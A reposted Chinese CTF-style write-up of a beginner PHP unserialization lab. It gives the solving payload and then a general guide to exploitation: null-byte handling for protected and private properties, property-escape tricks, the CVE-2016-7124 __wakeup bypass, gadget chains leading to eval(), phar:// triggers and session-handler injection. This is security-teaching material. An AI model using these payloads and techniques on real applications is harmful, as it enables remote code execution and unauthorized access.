好靶场-PHP反序列化入门练习-WP

admin 2025-12-22 03:51:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档介绍了PHP反序列化的基础知识和常见利用技巧,包括序列化格式、属性可见性影响、绕过方法等。提供了一个具体的靶场练习,展示如何构造序列化字符串来设置对象属性值。详细讲解了魔术方法利用链、实战测试流程、调试技巧和常见坑点。推荐了相关工具如PHPGGC和BurpSuite,帮助安全研究人员进行PHP反序列化漏洞的测试和利用。 综合评分: 90 文章分类: WEB安全,代码审计,漏洞分析,解决方案,安全工具


cover_image

好靶场-PHP反序列化入门练习-WP

原创

泷羽Sec-静安

泷羽Sec-静安

2025年12月20日 09:10 云南

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

好靶场

学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:

🔗 入口:http://www.loveli.com.cn/see_bug_one?id=531

✅ 邀请码:48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇

目标是构造一个序列化字符串,使得反序列化后的对象 name 属性值为 admin

解题思路

PHP 对象序列化格式:

O:类名长度:"类名":属性数量:{s:属性名长度:"属性名";属性值类型:值}

对于 Test 类:

  • • 类名: Test (长度为 4)
  • • 需要设置 name 为 admin
  • • age 可以随意设置

Payload

O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:18;}

解析:

  • • O:4:"Test" – 对象类型,类名长度4,类名是Test
  • • :2: – 有2个属性
  • • s:4:"name" – 字符串类型,长度4,属性名name
  • • s:5:"admin" – 字符串类型,长度5,值为admin
  • • s:3:"age" – 字符串类型,长度3,属性名age
  • • i:18 – 整数类型,值为18

注意事项

测试示例中已经给出了正确答案:

O:4:"Test":2:{s:4:"name";s:5:"admin";s:3:"age";i:233;}

这个 payload 应该就能直接通过验证获取 flag。

反序列化通用的技巧

1. 序列化格式基础

数据类型表示

s:length:"string"     // 字符串
i:value;              // 整数
d:value;              // 浮点数
b:value;              // 布尔值 (0/1)
a:size:{...}          // 数组
O:length:"class":size:{...}  // 对象
N;                    // NULL
r:reference;          // 引用
R:reference;          // 对象引用

2. 属性可见性的影响 ⚠️

这是最容易踩坑的地方:

class Test {
    public $pub = "public";
    protected $pro = "protected";
    private $pri = "private";
}

序列化后的格式:

// public: 直接使用属性名
s:3:"pub";s:6:"public";

// protected: 属性名前后有 \x00*\x00
s:6:"%00*%00pro";s:9:"protected";

// private: 属性名前后有 \x00ClassName\x00
s:13:"%00Test%00pri";s:7:"private";

注意\x00 是空字节,在浏览器/编辑器中可能不可见!

3. 常见绕过技巧

3.1 属性逃逸(关键!)

当过滤函数改变字符串长度时:

// 假设过滤函数: str_replace("bad", "good", $str)
// "bad" 3字符 -> "good" 4字符,每次替换多1个字符

// 原始序列化
O:4:"Test":2:{s:4:"name";s:15:"badbadbadbadxxx";s:3:"age";i:18;}

// 如果 name 值经过替换后:
// 15 个字符的内容变成了 > 15 个字符
// 可以"逃逸"出额外的序列化内容

3.2 引用/指针操作

// 创建引用,可能绕过某些检查
a:2:{i:0;s:5:"admin";i:1;R:2;}  // i:1 引用 i:0

3.3 字符串长度操纵

// 错误的长度标记可能导致解析混乱
s:5:"admin";  // 正确
s:10:"admin";  // 会读取后面10个字符,吞掉部分序列化数据
s:3:"admin";   // 只读3个字符 "adm"

4. 魔术方法利用链

重点关注这些魔术方法:

__wakeup()      // 反序列化时自动调用
__destruct()    // 对象销毁时调用
__toString()    // 对象被当作字符串使用时
__call()        // 调用不存在的方法时
__get()         // 访问不存在的属性时
__set()         // 设置不存在的属性时
__isset()       // 对不存在属性调用 isset() 时
__unset()       // 对不存在属性调用 unset() 时
__invoke()      // 对象被当作函数调用时

绕过 __wakeup()

CVE-2016-7124:当对象属性数量大于实际数量时,__wakeup() 不会执行:

// 正常: O:4:"Test":2:{...}
// 绕过: O:4:"Test":3:{...}  (声明3个属性但实际只有2个)

5. 实战测试流程

Step 1: 信息收集

// 1. 找到 unserialize() 调用点
// 2. 查看可利用的类定义
// 3. 分析魔术方法和危险函数调用

Step 2: 构造 Gadget Chain

// 寻找链路: __destruct() -> ... -> 危险函数
// 例如: __destruct() -> __toString() -> __get() -> eval()

Step 3: 常见 Payload 模板

// 基础对象注入
O:4:"Test":1:{s:4:"name";s:5:"admin";}

// 数组中包含对象
a:1:{i:0;O:4:"Test":1:{s:4:"name";s:5:"admin";}}

// 嵌套对象
O:4:"Evil":1:{s:4:"test";O:4:"Test":1:{s:4:"name";s:5:"admin";}}

6. 调试技巧

// 本地测试序列化
$obj = new Test();
$obj->name = "admin";
echo serialize($obj);  // 获取正确格式

// 测试反序列化
$payload = 'O:4:"Test":1:{s:4:"name";s:5:"admin";}';
$obj = unserialize($payload);
var_dump($obj);

7. 工具推荐

  • • PHPGGC: PHP Generic Gadget Chains – 自动生成利用链 https://github.com/ambionics/phpggc

  • • Burp Suite: 拦截修改序列化数据

  • • PHP 在线序列化工具: 快速测试格式

  • • https://www.gongjumi.com/zh/format/phpSerialization

  • • https://www.okeytool.com/php-serialize

  • • https://www.edtool.cn/toolbox/phpserialize.html

8. 常见坑点总结

| 问题 | 现象 | 解决方案 | | — | — | — | | 空字节丢失 | protected/private 属性无法设置 | URL 编码或十六进制表示 | | 长度不匹配 | 反序列化失败 | 精确计算字节数(注意 UTF-8) | | 引号转义 | payload 被破坏 | 使用数组包装或编码 | | 类不存在 | 反序列化返回 __PHP_Incomplete_Class | 确保目标环境有该类定义 |

9. 实战 Checklist

□ 是否存在 unserialize() 调用?
□ 输入是否可控?
□ 是否有过滤函数?(考虑逃逸)
□ 目标类有哪些魔术方法?
□ 是否能触发 POP 链?
□ 是否有 __wakeup() 需要绕过?
□ 属性是否 public?(考虑空字节)
□ 是否有 phar:// 伪协议可用?

10. 高级技巧

Phar 反序列化

// 任何文件操作函数都可能触发 phar 反序列化
file_exists('phar://evil.phar/test.txt');
file_get_contents('phar://payload.phar');

Session 反序列化

// PHP 不同 session 处理器格式不同,可能导致注入
// php_binary: name|serialized_data
// php: name|serialized_data
// php_serialize: serialized_data

核心原则:

  1. 1. 理解格式 – 每个字符都有意义
  2. 2. 关注长度 – 长度错误是最常见的攻击点
  3. 3. 寻找链路 – 从魔术方法到危险函数
  4. 4. 本地测试 – 先在本地验证 payload 格式正确

🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式详见页面底部说明板块。

本文转载自:泷羽Sec-静安 泷羽Sec-静安《好靶场-PHP反序列化入门练习-WP》

评论:0   参与:  6